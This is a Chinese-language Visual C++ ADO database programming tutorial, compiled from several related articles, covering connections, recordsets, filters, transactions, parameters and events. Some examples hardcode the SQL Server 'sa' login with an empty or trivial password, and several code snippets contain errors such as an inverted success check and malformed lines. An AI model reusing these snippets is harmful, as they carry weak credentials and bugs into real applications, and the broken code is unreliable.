  设置完后,当前记录即会移动到该书签指向的记录。


  14、设置过滤条件

  Recordset对象的Filter属性表示了当前的过滤条件。它的值可以是以AND或OR连接起来的条件表达式(不含WHERE关键字)、由书签组成的数组或ADO提供的FilterGroupEnum枚举值。为Filter属性设置新值后Recordset的当前记录指针会自动移动到满足过滤条件的第一个记录。例如:

rst->Filter = _bstr_t ("姓名='赵薇' AND 性别='女'");

  在使用条件表达式时应注意下列问题:

  (1)、可以用圆括号组成复杂的表达式

  例如:

rst->Filter = _bstr_t ("(姓名='赵薇' AND 性别='女') OR AGE<25");

  但是微软不允许在括号内用OR,然后在括号外用AND,例如:

rst->Filter = _bstr_t ("(姓名='赵薇' OR 性别='女') AND AGE<25");

  必须修改为:

rst->Filter = _bstr_t ("(姓名='赵薇' AND AGE<25) OR (性别='女' AND AGE<25)");

  (2)、表达式中的比较运算符可以是LIKE

  LIKE后被比较的是一个含有通配符*的字符串,星号表示若干个任意的字符。

  字符串的首部和尾部可以同时带星号*

rst->Filter = _bstr_t ("姓名 LIKE '*赵*' ");

  也可以只是尾部带星号:

rst->Filter = _bstr_t ("姓名 LIKE '赵*' ");

  Filter属性值的类型是Variant,如果过滤条件是由书签组成的数组,则需将该数组转换为SafeArray,然后再封装到一个VARIANT或_variant_t型的变量中,再赋给Filter属性。

  15、索引与排序

  (1)、建立索引

  当以某个字段为关键字用Find方法查找时,为了加快速度可以以该字段为关键字在记录集内部临时建立索引。只要将该字段的Optimize属性设置为true即可,例如:

pRst->Fields->GetItem("姓名")->Properties->
GetItem("Optimize")->PutValue("True");
pRst->Find("姓名 = '赵薇'",1,adSearchForward);
......
pRst->Fields->GetItem("姓名")->Properties->
GetItem("Optimize")->PutValue("False");
pRst->Close();

  说明:Optimize属性是由Provider提供的属性(在ADO中称为动态属性),ADO本身没有此属性。

  (2)、排序

  要排序也很简单,只要把要排序的关键字列表设置到Recordset对象的Sort属性里即可,例如:

pRstAuthors->CursorLocation = adUseClient;
pRstAuthors->Open("SELECT * FROM mytable",
_variant_t((IDispatch *) pConnection),
adOpenStatic, adLockReadOnly, adCmdText);
......
pRst->Sort = "姓名 DESC, 年龄 ASC";

  关键字(即字段名)之间用逗号隔开,如果要以某关键字降序排序,则应在该关键字后加一空格,再加DESC(如上例)。升序时ASC加不加无所谓。本操作是利用索引进行的,并未进行物理排序,所以效率较高。
但要注意,在打开记录集之前必须将记录集的CursorLocation属性设置为adUseClient,如上例所示。Sort属性值在需要时随时可以修改。

  16、事务处理

  ADO中的事务处理也很简单,只需分别在适当的位置调用Connection对象的三个方法即可,这三个方法是:

  (1)、在事务开始时调用

pCnn->BeginTrans();

  (2)、在事务结束并成功时调用

pCnn->CommitTrans ();

  (3)、在事务结束并失败时调用

pCnn->RollbackTrans ();

  在使用事务处理时,应尽量减小事务的范围,即减小从事务开始到结束(提交或回滚)之间的时间间隔,以便提高系统效率。需要时也可在调用BeginTrans()方法之前,先设置Connection对象的IsolationLevel属性值,详细内容参见MSDN中有关ADO的技术资料。

  三、使用ADO编程常见问题解答

  以下均是针对MS SQL 7.0编程时所遇问题进行讨论。

  1、连接失败可能原因

  Enterprise Managemer内,打开将服务器的属性对话框,在Security选项卡中,有一个选项Authentication。

  如果该选项是Windows NT only,则你的程序所用的连接字符串就一定要包含Trusted_Connection参数,并且其值必须为yes,如:

"Provider=SQLOLEDB;Server=888;Trusted_Connection=yes"
";Database=master;uid=lad;";

  如果不按上述操作,程序运行时连接必然失败。

  如果Authentication选项是SQL Server and Windows NT,则你的程序所用的连接字符串可以不包含Trusted_Connection参数,如:

"Provider=SQLOLEDB;Server=888;Database=master;uid=lad;pwd=111;";

  因为ADO给该参数取的默认值就是no,所以可以省略。我认为还是取默认值比较安全一些。

  2、改变当前数据库的方法

  使用Tansct-SQL中的USE语句即可。

  3、如何判断一个数据库是否存在

  (1)、可打开master数据库中一个叫做SCHEMATA的视图,其内容列出了该服务器上所有的数据库名称。

  (2) 、更简便的方法是使用USE语句,成功了就存在;不成功,就不存在。例如:

try{
m_pConnect->Execute ( _bstr_t("USE INSURANCE_2002"),NULL,
adCmdText│adExecuteNoRecords );
}
catch (_com_error &e)
{
blSuccess=FALSE;
CString str="数据库INSURANCE_2002不存在!\n";
str+=e.Description();
::MessageBox(NULL,str,"警告",MB_OK │ MB_ICONWARNING);
}

  4、判断一个表是否存在

  (1)、同样判断一个表是否存在,也可以用是否成功地打开它来判断,十分方便,例如:

try{
m_pRecordset->Open(_variant_t("mytable"),
_variant_t((IDispatch *)m_pConnection,true), adOpenKeyset,
adLockOptimistic, adCmdTable);
}
catch (_com_error &e)
{
::MessageBox(NULL,"该表不存在。","提示",MB_OK │ MB_ICONWARNING);
}

  (2)、要不然可以采用麻烦一点的办法,就是在MS-SQL服务器上的每个数据库中都有一个名为sysobjects的表,查看此表的内容即知指定的表是否在该数据库中。

  (3)、同样,每个数据库中都有一个名为TABLES的视图(View),查看此视图的内容即知指定的表是否在该数据库中。

  5、类型转换问题

  (1)、类型VARIANT_BOOL

  类型VARIANT_BOOL等价于short类型。The VARIANT_BOOL is equivalent to short. see it's definition below:
typdef short VARIANT_BOOL

  (2)、_com_ptr_t类的类型转换

  _ConnectionPtr可以自动转换成IDspatch*类型,这是因为_ConnectionPtr实际上是_com_ptr_t类的一个实例,而这个类有此类型转换函数。

  同理,_RecordsetPtr和_CommandPtr也都可以这样转换。

  (3)、_bstr_t和_variant_t类

  在ADO编程时,_bstr_t和_variant_t这两个类很有用,省去了许多BSTR和VARIANT类型转换的麻烦。

  6、打开记录集时的问题

  在打开记录集时,在调用Recordset的Open方法时,其最后一个参数里一定不能包含adAsyncExecute,否则将因为是异步操作,在读取数据时无法读到数据。

  7、异常处理问题

  对所有调用ADO的语句一定要用try和catch语句捕捉异常,否则在发生异常时,程序会异常退出。

  8、使用SafeArray问题

  在初学使用中,我曾遇到一个伤脑筋的问题,一定要注意:

  在定义了SAFEARRAY的指针后,如果打算重复使用多次,则在中间可以调用::SafeArrayDestroyData释放数据,但决不能调用::SafeArrayDestroyDescriptor,否则必然出错,即使调用SafeArrayCreate也不行。例如:

SAFEARRAY *psa;
......
//When the data are no longer to be used:
::SafeArrayDestroyData( psa);

  我分析在定义psa指针时,一个SAFEARRAY的实例(也就是SAFEARRAY描述符)也同时被自动建立了。但是只要一调用::SafeArrayDestroyDescriptor,描述符就被销毁了。

  所以我认为::SafeArrayDestroyDescriptor可以根本就不调用,即使调用也必须在最后调用。

  9、重复使用命令对象问题

  一个命令对象如果要重复使用多次(尤其是带参数的命令),则在第一次执行之前,应将它的Prepared属性设置为TRUE。这样会使第一次执行减慢,但却可以使以后的执行全部加快。

  10、绑定字符串型字段问题

  如果要绑定的字段是字符串类型,则对应的字符数组的元素个数一定要比字段长度大2(比如m_szau_fname[22],其绑定的字段au_fname的长度实际是20),不这样绑定就会失败。

  11、使用AppendChunk的问题

  当用AddNew方法刚刚向记录集内添加一个新记录之后,不能首先向一个长数据字段(image类型)写入数据,必须先向其他字段写入过数据之后,才能调用AppendChunk写该字段,否则出错。也就是说,AppendChunk不能紧接在AddNew之后。另外,写入其他字段后还必须紧接着调用AppendChunk,而不能调用记录集的Update方法后,才调用AppendChunk,否则调用AppendChunk时也会出错。换句话说,就是必须AppendChunk在前,Update在后。因而这个时候就不能使用带参数的AddNew了,因为带参数的AddNew会自动调用记录集的Update,所以AppendChunk就跑到Update的后面了,就只有出错了!因此,这时应该用不带参数的AddNew。

  我推测这可能是MS SQL 7.0的问题,在MS SQL 2000中则不存在这些问题,但是AppendChunk仍然不能在Update之后。

  四、小结

  一般情况下,Connection和Command的Execute用于执行不产生记录集的命令,而Recordset的Open用于产生一个记录集,当然也不是绝对的。特别Command主要是用于执行参数化的命令,可以直接由Command对象执行,也可以将Command对象传递给Recordset的Open。

Visual C++ ADO数据库编程入门(上)

ADO 是目前在Windows环境中比较流行的客户端数据库编程技术。ADO是建立在OLE DB底层技术之上的高级编程接口,因而它兼具有强大的数据处理功能(处理各种不同类型的数据源、分布式的数据处理等等)和极其简单、易用的编程接口,因而得到了广泛的应用。而且按微软公司的意图,OLE DB和ADO将逐步取代 ODBC和DAO。现在介绍ADO各种应用的文章和书籍有很多,本文着重站在初学者的角度,简要探讨一下在VC++中使用ADO编程时的一些问题。我们希望阅读本文之前,您对ADO技术的基本原理有一些了解。

  一、在VC++中使用ADO编程

  ADO实际上就是由一组Automation对象构成的组件,因此可以象使用其它任何Automation对象一样使用ADO。ADO中最重要的对象有三个:Connection、Command和Recordset,它们分别表示连接对象、命令对象和记录集对象。如果您熟悉使用MFC中的ODBC类(CDatabase、CRecordset)编程,那么学习ADO编程就十分容易了。

  使用ADO编程时可以采用以下三种方法之一:

  1、使用预处理指令#import

#import "C:\Program Files\Common Files\System\ADO\msado15.dll" \
no_namespace rename("EOF", "EndOfFile")

  但要注意不能放在stdAfx.h文件的开头,而应该放在所有include指令的后面。否则在编译时会出错。
程序在编译过程中,VC++会读出msado15.dll中的类型库信息,自动产生两个该类型库的头文件和实现文件msado15.tlh和msado15.tli(在您的Debug或Release目录下)。在这两个文件里定义了ADO的所有对象和方法,以及一些枚举型的常量等。我们的程序只要直接调用这些方法就行了,与使用MFC中的COleDispatchDriver类调用Automation对象十分类似。

  2、使用MFC中的CIDispatchDriver

  就是通过读取msado15.dll中的类型库信息,建立一个COleDispatchDriver类的派生类,然后通过它调用ADO对象。

  3、直接用COM提供的API

  如使用如下代码:

CLSID clsid;
HRESULT hr = ::CLSIDFromProgID(L"ADODB.Connection", &clsid);
if(FAILED(hr))
{...}
::CoCreateInstance(clsid, NULL, CLSCTX_SERVER, IID_IDispatch, (void **)
&pDispatch);
if(FAILED(hr))
{...}

  以上三种方法,第一和第二种类似,可能第一种好用一些,第三种编程可能最麻烦。但可能第三种方法也是效率最高的,程序的尺寸也最小,并且对ADO的控制能力也最强。

  据微软资料介绍,第一种方法不支持方法调用中的默认参数,当然第二种方法也是这样,但第三种就不是这样了。采用第三种方法的水平也最高。当你需要绕过ADO而直接调用OLE DB底层的方法时,就一定要使用第三种方法了。

  ADO编程的关键,就是熟练地运用ADO提供的各种对象(object)、方法(method)、属性(property)和容器(collection)。另外,如果是在MS SQL或Oracle等大型数据库上编程,还要能熟练使用SQL语言。


  二、使用#import方法的编程步骤

  这里建议您使用#import的方法,因为它易学、易用,代码也比较简洁。

  1、 添加#import指令

  打开stdafx.h文件,将下列内容添加到所有的include指令之后:

#include <icrsint.h> //Include support for VC++ Extensions
#import "C:\Program Files\Common Files\System\ADO\msado15.dll" \
no_namespace rename("EOF", "adoEOF")

  其中icrsint.h文件包含了VC++扩展的一些预处理指令、宏等的定义,用于COM编程时使用。

  2、定义_ConnectionPtr型变量,并建立数据库连接

  建立了与数据库服务器的连接后,才能进行其他有关数据库的访问和操作。ADO使用Connection对象来建立与数据库服务器的连接,所以它相当于MFC中的CDatabase类。和CDatabase类一样,调用Connection对象的Open方法即可建立与服务器的连接。

  数据类型 _ConnectionPtr实际上就是由类模板_com_ptr_t而得到的一个具体的实例类,其定义可以到msado15.tlh、comdef.h 和comip.h这三个文件中找到。在msado15.tlh中有:

_COM_SMARTPTR_TYPEDEF(_Collection, __uuidof(_Collection));

  经宏扩展后就得到了_ConnectionPtr类。_ConnectionPtr类封装了Connection对象的Idispatch接口指针,及一些必要的操作。我们就是通过这个指针来操纵Connection对象。类似地,后面用到的_CommandPtr和_RecordsetPtr类型也是这样得到的,它们分别表示命令对象指针和记录集对象的指针。

  (1)、连接到MS SQL Server

  注意连接字符串的格式,提供正确的连接字符串是成功连接到数据库服务器的第一步,有关连接字符串的详细信息参见微软MSDN Library光盘。

  本例连接字符串中的server_name,database_name,user_name和password在编程时都应该替换成实际的内容。

_ConnectionPtr pMyConnect=NULL;
HRESULT hr=pMyConnect.CreateInstance(__uuidof(Connection)));
if(FAILED(hr))return;

_bstr_t strConnect="Provider=SQLOLEDB; Server=server_name;"
"Database=database_name; uid=user_name; pwd=password;";
//connecting to the database server now:
try{pMyConnect->Open(strConnect,"","",NULL);}
catch (_com_error &e)
{
::MessageBox(NULL,e.Description(),"警告",MB_OK │ MB_ICONWARNING);
}

  注意Connection对象的Open方法中的连接字符串参数必须是BSTR或_bstr_t类型。另外,本例是直接通过OLE DB Provider建立连接,所以无需建立数据源。

  (2)、通过ODBC Driver连接到Database Server连接字符串格式与直接用ODBC编程时的差不多:

_bstr_t strConnect="DSN=datasource_name; Database=database_name; uid=user_name; pwd=password;";

  此时与ODBC编程一样,必须先建立数据源。

  3、定义_RecordsetPtr型变量,并打开数据集

  定义_RecordsetPtr型变量,然后通过它调用Recordset对象的Open方法,即可打开一个数据集。所以Recordset对象与MFC中的CRecordset类类似,它也有当前记录、当前记录指针的概念。如:

_RecordsetPtr m_pRecordset;
if(!FAILED(m_pRecordset.CreateInstance( __uuidof( Recordset )))
{
m_pDoc->m_initialized=FALSE;
return;
}

try{
m_pRecordset->Open(_variant_t("mytable"),
_variant_t((IDispatch *)pMyConnect,true), adOpenKeyset,
adLockOptimistic, adCmdTable);
}
catch (_com_error &e)
{
::MessageBox(NULL,"无法打开mytable表。","提示",
MB_OK │ MB_ICONWARNING);
}

  Recordset对象的Open方法非常重要,它的第一个参数可以是一个SQL语句、一个表的名字或一个命令对象等等;第二个参数就是前面建立的连接对象的指针。此外,用Connection和Command对象的Execute方法也能得到记录集,但是只读的。


  4、读取当前记录的数据

  我认为读取数据的最方便的方法如下:

try{
m_pRecordset->MoveFirst();
while(m_pRecordset->adoEOF==VARIANT_FALSE)
{
//Retrieve column's value:
CString sName=(char*)(_bstr_t)(m_pRecordset->Fields->GetItem
(_variant_t("name"))->Value);
short cAge=(short)(m_pRecordset->Fields->GetItem
(_variant_t("age"))->Value);
//Do something what you want to do:
......
m_pRecordset->MoveNext();
}
}//try
catch (_com_error &e)
{
CString str=(char*)e.Description();
::MessageBox(NULL,str+"\n又出毛病了。","提示",
MB_OK │ MB_ICONWARNING);
}

  本例中的name和age都是字段名,读取的字段值分别保存在sName和cAge变量内。例中的Fields是Recordset对象的容器,GetItem方法返回的是Field对象,而Value则是Field对象的一个属性(即该字段的值)。通过此例,应掌握操纵对象属性的方法。例如,要获得Field 对象的Value属性的值可以直接用属性名Value来引用它(如上例),但也可以调用Get方法,例如:

CString sName=(char*)(_bstr_t)(m_pRecordset->Fields->GetItem
(_variant_t("name"))->GetValue());

  从此例还可以看到,判断是否到达记录集的末尾,使用记录集的adoEOF属性,其值若为真即到了结尾,反之则未到。判断是否到达记录集开头,则可用BOF属性。

  另外,读取数据还有一个方法,就是定义一个绑定的类,然后通过绑定的变量得到字段值(详见后面的介绍)。

  5、修改数据

  方法一:

try{
m_pRecordset->MoveFirst();
while(m_pRecordset->adoEOF==VARIANT_FALSE)
{
m_pRecordset->Fields->GetItem
(_variant_t("姓名"))->Value=_bstr_t("赵薇");
......
m_pRecordset->Update();

m_pRecordset->MoveNext();
}
}//try

  改变了Value属性的值,即改变了字段的值。

  方法二:

m_pRecordset->Fields->GetItem
(_variant_t("姓名"))->PutValue(_bstr_t("赵薇"));

  方法三:就是用定义绑定类的方法(详见后面的介绍)。

  6、添加记录

  新记录添加成功后,即自动成为当前记录。AddNew方法有两种形式,一个含有参数,而另一个则不带参数。

  方法一(不带参数):

// Add new record into this table:
try{
if(!m_pRecordset->Supports(adAddNew)) return;

m_pRecordset->AddNew();
m_pRecordset->Fields->GetItem
(_variant_t("姓名"))->Value=_bstr_t("赵薇");
m_pRecordset->Fields->GetItem
(_variant_t("性别"))->Value=_bstr_t("女");
m_pRecordset->Fields->GetItem
(_variant_t("age"))->Value=_variant_t((short)20);
m_pRecordset->Fields->GetItem
(_variant_t("marry"))->Value=_bstr_t("未婚");
m_pRecordset->Update();
}//try
catch (_com_error &e)
{
::MessageBox(NULL, "又出毛病了。","提示",MB_OK │ MB_ICONWARNING);
}

  这种方法弄完了还要调用Update()。

  方法二(带参数):

_variant_t varName[4],narValue[4];
varName[0] = L"姓名";
varName[1] = L"性别";
varName[2] = L"age";
varName[3] = L"marry";
narValue[0]=_bstr_t("赵薇");
narValue[1]=_bstr_t("女");
narValue[2]=_variant_t((short)20);
narValue[3]=_bstr_t("未婚");

const int nCrit = sizeof varName / sizeof varName[0];
// Create SafeArray Bounds and initialize the array
SAFEARRAYBOUND rgsaName[1],rgsaValue[1];
rgsaName[0].lLbound = 0;
rgsaName[0].cElements = nCrit;
SAFEARRAY *psaName = SafeArrayCreate( VT_VARIANT, 1, rgsaName );
rgsaValue[0].lLbound = 0;
rgsaValue[0].cElements = nCrit;
SAFEARRAY *psaValue = SafeArrayCreate( VT_VARIANT, 1, rgsaValue );
// Set the values for each element of the array
HRESULT hr1=S_OK.hr2=S_OK;
for( long i = 0 ; i < nCrit && SUCCEEDED( hr1 ) && SUCCEEDED( hr2 );i++)
{
hr1=SafeArrayPutElement(psaName, &i,&varName[i]);
hr2=SafeArrayPutElement(psaValue, &i,&narValue[i]); }

// Initialize and fill the SafeArray
VARIANT vsaName,vsaValue;
vsaName.vt = VT_VARIANT │ VT_ARRAY;
vsaValue.vt = VT_VARIANT │ VT_ARRAY;
V_ARRAY(&vsaName) = psaName;//&vsaName->parray=psaName;
//see definition in oleauto.h file.
V_ARRAY(&vsaValue) = psaValue;

// Add a new record:
m_pRecordset->AddNew(vsaName,vsaValue);

  这种方法不需要调用Update,因为添加后,ADO会自动调用它。此方法主要是使用SafeArray挺麻烦。

  方法三:就是用定义绑定类的方法(详见后面的介绍)。

 7、删除记录

  调用Recordset的Delete方法就行了,删除的是当前记录。要了解Delete的其它用法请查阅参考文献。

try{
m_pRecordset->MoveFirst();
while(m_pRecordset->adoEOF==VARIANT_FALSE)
{
CString sName=(char*)(_bstr_t)(m_pRecordset->Fields->GetItem
(_variant_t("姓名"))->Value);
if(::MessageBox(NULL,"姓名="+sName+"\n删除她吗?",
"提示",MB_YESNO │ MB_ICONWARNING)==IDYES)
{
m_pRecordset->Delete(adAffectCurrent);
m_pRecordset->Update();
}
m_pRecordset->MoveNext();
}
}//try
catch (_com_error &e)
{
::MessageBox(NULL,"又出毛病了。","提示",MB_OK │ MB_ICONWARNING);
}

  8、使用带参数的命令

  Command对象所代表的就是一个Provider能够理解的命令,如SQL语句等。使用Command对象的关键就是把表示命令的语句设置到CommandText属性中,然后调用Command对象的Execute方法就行了。一般情况下在命令中无需使用参数,但有时使用参数,可以增加其灵活性和效率。

  (1). 建立连接、命令对象和记录集对象

  本例中表示命令的语句就是一个SQL语句(SELECT语句)。SELECT语句中的问号?就代表参数,如果要多个参数,就多放几个问号,每个问号代表一个参数。

_ConnectionPtr Conn1;
_CommandPtr Cmd1;
ParametersPtr *Params1 = NULL; // Not an instance of a smart pointer.
_ParameterPtr Param1;
_RecordsetPtr Rs1;

try
{
// Create Connection Object (1.5 Version)
Conn1.CreateInstance( __uuidof( Connection ) );
Conn1->ConnectionString = bstrConnect;
Conn1->Open( bstrEmpty, bstrEmpty, bstrEmpty, -1 );
// Create Command Object
Cmd1.CreateInstance( __uuidof( Command ) );
Cmd1->ActiveConnection = Conn1;
Cmd1->CommandText = _bstr_t("SELECT * FROM mytable WHERE age< ?");
}//try

  要注意命令对象必须与连接对象关联起来才能起作用,本例中将命令对象的ActiveConnection属性设置为连接对象的指针,即为此目的:

Cmd1->ActiveConnection = Conn1;

  (2). 创建参数对象,并给参数赋值

// Create Parameter Object
Param1 = Cmd1->CreateParameter( _bstr_t(bstrEmpty),
adInteger,
adParamInput,
-1,
_variant_t( (long) 5) );
Param1->Value = _variant_t( (long) 5 );
Cmd1->Parameters->Append( Param1 );

  用命令对象的方法来创建一个参数对象,其中的长度参数(第三个)如果是固定长度的类型,就填-1,如果是字符串等可变长度的就填其实际长度。Parameters是命令对象的一个容器,它的Append方法就是把创建的参数对象追加到该容器里。Append进去的参数按先后顺序与SQL语句中的问号从左至右一一对应。

  (3). 执行命令打开记录集

// Open Recordset Object
Rs1 = Cmd1->Execute( &vtEmpty, &vtEmpty2, adCmdText );

  但要注意,用Command和Connection对象的Execute方法得到的Recordset是只读的。因为在打开Recordset之前,我们无法设置它的LockType属性(其默认值为只读)。而在打开之后设置LockType不起作用。

  我发现用上述方法得到记录集Rs1后,不但Rs1中的记录无法修改,即使直接用SQL语句修改同一表中任何记录都不行。

  要想能修改数据,还是要用Recordset自己的Open方法才行,如:

try{
m_pRecordset->Open((IDispatch *) Cmd1, vtMissing,
adOpenStatic, adLockOptimistic, adCmdUnspecified);
}
catch (_com_error &e)
{
::MessageBox(NULL,"mytable表不存在。","提示",MB_OK │ MB_ICONWARNING);
}

  Recordset对象的Open方法真是太好了,其第一个参数可以是SQL语句、表名字、命令对象指针等等。

  9、响应ADO的通知事件

  通知事件就是当某个特定事件发生时,由Provider通知客户程序,换句话说,就是由Provider调用客户程序中的一个特定的方法(即事件的处理函数)。所以为了响应一个事件,最关键的就是要实现事件的处理函数。

  (1). 从ConnectionEventsVt接口派生出一个类

  为了响应_Connection的通知事件,应该从ConnectionEventsVt接口派生出一个类:

class CConnEvent : public ConnectionEventsVt
{
private:
ULONG m_cRef;
public:
CConnEvent() { m_cRef = 0; };
~CConnEvent() {};

STDMETHODIMP QueryInterface(REFIID riid, void ** ppv);
STDMETHODIMP_(ULONG) AddRef(void);
STDMETHODIMP_(ULONG) Release(void);
STDMETHODIMP raw_InfoMessage(
struct Error *pError,
EventStatusEnum *adStatus,
struct _Connection *pConnection);
STDMETHODIMP raw_BeginTransComplete(
LONG TransactionLevel,
struct Error *pError,
EventStatusEnum *adStatus,
struct _Connection *pConnection);
......
};

   (2). 实现每一个事件的处理函数(凡是带raw_前缀的方法都把它实现了):

STDMETHODIMP CConnEvent::raw_InfoMessage(
struct Error *pError,
EventStatusEnum *adStatus,
struct _Connection *pConnection)
{
*adStatus = adStatusUnwantedEvent;
return S_OK;
};

  有些方法虽然你并不需要,但也必须实现它,只需简单地返回一个S_OK即可。但如果要避免经常被调用,还应在其中将adStatus参数设置为adStatusUnwantedEvent,则在本次调用后,以后就不会被调用了。
另外还必须实现QueryInterface, AddRef, 和Release三个方法:

STDMETHODIMP CConnEvent::QueryInterface(REFIID riid, void ** ppv)
{
*ppv = NULL;
if (riid == __uuidof(IUnknown) ││
riid == __uuidof(ConnectionEventsVt)) *ppv = this;
if (*ppv == NULL)
return ResultFromScode(E_NOINTERFACE);
AddRef();
return NOERROR;
}
STDMETHODIMP_(ULONG) CConnEvent::AddRef() { return ++m_cRef; };
STDMETHODIMP_(ULONG) CConnEvent::Release()
{
if (0 != --m_cRef) return m_cRef;
delete this;
return 0;
}

  (3). 开始响应通知事件

// Start using the Connection events
IConnectionPointContainer *pCPC = NULL;
IConnectionPoint *pCP = NULL;

hr = pConn.CreateInstance(__uuidof(Connection));
if (FAILED(hr)) return;

hr = pConn->QueryInterface(__uuidof(IConnectionPointContainer),
(void **)&pCPC);
if (FAILED(hr)) return;
hr = pCPC->FindConnectionPoint(__uuidof(ConnectionEvents), &pCP);
pCPC->Release();
if (FAILED(hr)) return;

pConnEvent = new CConnEvent();
hr = pConnEvent->QueryInterface(__uuidof(IUnknown), (void **) &pUnk);
if (FAILED(hr)) return rc;
hr = pCP->Advise(pUnk, &dwConnEvt);
pCP->Release();
if (FAILED(hr)) return;

pConn->Open("dsn=Pubs;", "sa", "", adConnectUnspecified);

  也就是说在连接(Open)之前就做这些事。

  (4). 停止响应通知事件

pConn->Close();
// Stop using the Connection events
hr = pConn->QueryInterface(__uuidof(IConnectionPointContainer),
(void **) &pCPC);
if (FAILED(hr)) return;
hr = pCPC->FindConnectionPoint(__uuidof(ConnectionEvents), &pCP);
pCPC->Release();
if (FAILED(hr)) return rc;
hr = pCP->Unadvise( dwConnEvt );
pCP->Release();
if (FAILED(hr)) return;

  在连接关闭之后做这件事。

VC用ADO访问数据库全攻略

一、ADO概述
  ADO是Microsoft为最新和最强大的数据访问范例 OLE DB 而设计的,是一个便于使用的应用程序层接口。ADO 使您能够编写应用程序以通过 OLE. DB 提供者访问和操作数据库服务器中的数据。ADO 最主要的优点是易于使用、速度快、内存支出少和磁盘遗迹小。ADO 在关键的应用方案中使用最少的网络流量,并且在前端和数据源之间使用最少的层数,所有这些都是为了提供轻量、高性能的接口。之所以称为 ADO,是用了一个比较熟悉的暗喻,OLE 自动化接口。

  OLE DB是一组"组件对象模型"(COM) 接口,是新的数据库低层接口,它封装了ODBC的功能,并以统一的方式访问存储在不同信息源中的数据。OLE DB是Microsoft UDA(Universal Data Access)策略的技术基础。OLE DB 为任何数据源提供了高性能的访问,这些数据源包括关系和非关系数据库、电子邮件和文件系统、文本和图形、自定义业务对象等等。也就是说,OLE DB 并不局限于 ISAM、Jet 甚至关系数据源,它能够处理任何类型的数据,而不考虑它们的格式和存储方法。在实际应用中,这种多样性意味着可以访问驻留在 Excel 电子数据表、文本文件、电子邮件/目录服务甚至邮件服务器,诸如 Microsoft Exchange 中的数据。但是,OLE DB 应用程序编程接口的目的是为各种应用程序提供最佳的功能,它并不符合简单化的要求。您需要的API 应该是一座连接应用程序和OLE DB 的桥梁,这就是 ActiveX Data Objects (ADO)。

二、在VC中使用ADO(开发步骤如下:)

1、引入ADO库文件

  使用ADO前必须在工程的stdafx.h头文件里用直接引入符号#import引入ADO库文件,以使编译器能正确编译。代码如下所示:

用#import引入ADO库文件

#import "c:\program files\common files\system\ado\msado15.dll"no_namespaces rename("EOF" adoEOF")
  这行语句声明在工程中使用ADO,但不使用ADO的名字空间,并且为了避免常数冲突,将常数EOF改名为adoEOF。现在不需添加另外的头文件,就可以使用ADO接口了。

2、初始化OLE/COM库环境
  必须注意的是,ADO库是一组COM动态库,这意味应用程序在调用ADO前,必须初始化OLE/COM库环境。在MFC应用程序里,一个比较好的方法是在应用程序主类的InitInstance成员函数里初始化OLE/COM库环境。

BOOL CMyAdoTestApp::InitInstance()
{
if(!AfxOleInit())//这就是初始化COM库
{
AfxMessageBox("OLE初始化出错!");
return FALSE;
}

……

}

3、ADO接口简介

  ADO库包含三个基本接口:_ConnectionPtr接口、_CommandPtr接口和_RecordsetPtr接口。
  _ConnectionPtr接口返回一个记录集或一个空指针。通常使用它来创建一个数据连接或执行一条不返回任何结果的SQL语句,如一个存储过程。使用_ConnectionPtr接口返回一个记录集不是一个好的使用方法。对于要返回记录的操作通常用_RecordserPtr来实现。而用_ConnectionPtr操作时要想得到记录条数得遍历所有记录,而用_RecordserPtr时不需要。

  _CommandPtr接口返回一个记录集。它提供了一种简单的方法来执行返回记录集的存储过程和SQL语句。在使用_CommandPtr接口时,你可以利用全局_ConnectionPtr接口,也可以在_CommandPtr接口里直接使用连接串。如果你只执行一次或几次数据访问操作,后者是比较好的选择。但如果你要频繁访问数据库,并要返回很多记录集,那么,你应该使用全局_ConnectionPtr接口创建一个数据连接,然后使用_CommandPtr接口执行存储过程和SQL语句。

  _RecordsetPtr是一个记录集对象。与以上两种对象相比,它对记录集提供了更多的控制功能,如记录锁定,游标控制等。同_CommandPtr接口一样,它不一定要使用一个已经创建的数据连接,可以用一个连接串代替连接指针赋给_RecordsetPtr的connection成员变量,让它自己创建数据连接。如果你要使用多个记录集,最好的方法是同Command对象一样使用已经创建了数据连接的全局_ConnectionPtr接口
,然后使用_RecordsetPtr执行存储过程和SQL语句。 

4、使用_ConnectionPtr接口
  _ConnectionPtr主要是一个连接接口,取得与数据库的连接。它的连接字符串可以是自己直接写,也可以指向一个ODBC DSN。 

_ConnectionPtr pConn;
if (FAILED(pConn.CreateInstance("ADODB.Connection")))
{
AfxMessageBox("Create Instance failed!");
return;
}


CString strSRC;
strSRC="Driver=SQL Server;Server=";
strSRC+="suppersoft";
strSRC+=";Database=";
strSRC+="mydb";
strSRC+=";UID=SA;PWD=";

CString strSQL = "Insert into student(no,name,sex,address) values(3,'aaa','male','beijing')";

_variant_t varSRC(strSRC);
_variant_t varSQL(strSQL);
_bstr_t bstrSRC(strSRC);

if (FAILED(pConn->Open(bstrSRC,"","",-1)))
{
AfxMessageBox("Can not open Database!");
pConn.Release();
return;
}

COleVariant vtOptional((long)DISP_E_PARAMNOTFOUND,VT_ERROR);

pConn->Execute(_bstr_t(strSQL),&vtOptional,-1);

pConn.Release();

AfxMessageBox("ok!");

5、使用_RecordsetPtr接口(以连接SQL Server为例)

_RecordsetPtr pPtr;
if (FAILED(pPtr.CreateInstance("ADODB.Recordset")))
{
AfxMessageBox("Create Instance failed!");
return FALSE;
}

CString strSRC;
strSRC="Driver=SQL Server;Server=";
strSRC+="210.46.141.145";
strSRC+=";Database=";
strSRC+="mydb";
strSRC+=";UID=sa;PWD=";
strSRC+="sa";

CString strSQL = "select id,name,gender,address from personal";

_variant_t varSRC(strSRC);
_variant_t varSQL(strSQL);

if(FAILED(pPtr->Open(varSQL,varSRC,adOpenStatic,adLockOptimistic,adCmdText)))
{
AfxMessageBox("Open table failed!");
pPtr.Release ();
return FALSE;
}

while(!pPtr->GetadoEOF())
{
_variant_t varNo;
_variant_t varName;
_variant_t varSex;
_variant_t varAddress;

varNo = pPtr->GetCollect ("id");
varName = pPtr->GetCollect ("name");
varSex = pPtr->GetCollect ("gender");
varAddress = pPtr->GetCollect ("address");

CString strNo =(char *)_bstr_t(varNo);
CString strName =(char *)_bstr_t(varName);
CString strSex =(char *)_bstr_t(varSex);
CString strAddress =(char *)_bstr_t(varAddress);

strNo.TrimRight();
strName.TrimRight();
strSex.TrimRight();
strAddress.TrimRight();

int nCount = m_list.GetItemCount();
int nItem = m_list.InsertItem (nCount,_T(""));
m_list.SetItemText (nItem,0,strNo);
m_list.SetItemText (nItem,1,strName);
m_list.SetItemText (nItem,2,strSex);
m_list.SetItemText (nItem,3,strAddress);

pPtr->MoveNext();
}

